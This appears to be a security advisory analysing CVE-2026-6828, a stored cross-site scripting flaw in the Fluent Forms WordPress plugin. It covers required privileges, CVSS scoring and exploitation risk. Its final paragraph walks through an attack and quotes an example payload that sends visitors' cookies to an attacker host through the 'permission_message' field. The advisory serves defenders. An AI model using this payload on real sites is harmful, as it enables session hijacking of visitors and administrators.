Fluent Forms CVE-2026-6828

The vulnerability requires the attacker to possess authenticated WordPress user credentials with contributor-level privileges (or higher: editor, administrator). The attack vector is network-based but depends on authenticated access to the WordPress admin interface. By default, WordPress contributor accounts can create and edit forms in Fluent Forms, making this a realistic threat if contributor accounts are compromised, shared, or granted to untrusted users. The vulnerability is not exploitable via unauthenticated anonymous access or guest users. Non-default configurations that restrict contributor permissions to Fluent Forms functionality (via role-based access control plugins) would limit the threat surface. Stored XSS execution does not require user interaction from the form submitter - the script runs on all visitors regardless of how they access the page.

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C) indicates network-based exploitation requiring only low-privilege authenticated access (contributor level or above) with no user interaction needed, and cross-site scope impact. The EPSS exploitation probability is not provided in available data. No CISA KEV listing or confirmed active exploitation is reported, and no public proof-of-concept code has been identified at time of analysis. However, the practical risk remains moderate to high for WordPress sites: contributor-level accounts are relatively common (authors, editors), the attack requires no social engineering, and successful exploitation affects all site visitors. The stored nature of the XSS means impact persists until patched. Defenders should prioritize patching based on the sensitivity of who has contributor access, but this is not an emergency zero-day - it requires pre-existing authenticated account compromise or insider threat. The low CVSS impact scores (Confidentiality: Low, Integrity: Low, Availability: None) suggest the primary impact is site integrity and user session hijacking rather than critical data theft or availability loss.

An attacker with WordPress contributor-level account access (either through compromised credentials, insider threat, or excessive permission delegation) logs into the WordPress admin dashboard, navigates to the Fluent Forms plugin interface, edits an existing form or creates a new one, and injects malicious JavaScript (e.g., <img src=x onerror='fetch("https://attacker.com?cookie="+document.cookie)'>) into the 'permission_message' field. The payload is stored in the WordPress database without sanitization. When any visitor (including site administrators) views a page containing the affected form, the stored script executes in their browser context, potentially stealing session cookies, performing unauthorized actions, or redirecting to malicious sites.